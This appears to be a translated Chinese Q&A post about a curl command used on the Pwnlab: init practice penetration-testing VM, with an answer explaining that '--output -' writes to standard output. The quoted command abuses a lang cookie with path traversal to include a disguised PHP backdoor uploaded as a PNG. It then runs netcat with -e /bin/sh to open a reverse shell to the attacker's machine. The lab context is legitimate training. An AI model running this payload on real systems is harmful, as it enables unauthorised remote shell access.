了解 Curl 查詢

Question

我在做一個名為 Pwnlab init 的實踐滲透測試虛擬機時使用了下面的 curl 查詢。 查詢的目的是讓index.php頁面訪問png文件，其實是一個偽裝的php后門腳本，然后導致被攻擊機器發出netcat命令連接我的攻擊機器。 只有在研究了其他人如何能夠成功完成虛擬機之后，我才知道使用此查詢。 我了解整個查詢，除了第一部分curl --output - 。 有人可以幫我解決這部分查詢的作用嗎？

curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png \
http://xxx.xxx.xxx.xxx/index.php?cmd=/bin/nc+-e+/bin/sh+xxx.xxx.xxx.xxx+xxxx

Answer 1

將 output 指定為- （單破折號）將強制 output 執行到標准輸出。

https://curl.haxx.se/docs/manpage.html#-o

該選項通常是多余的，因為默認為標准 output。 在處理二進制數據時可能很有用。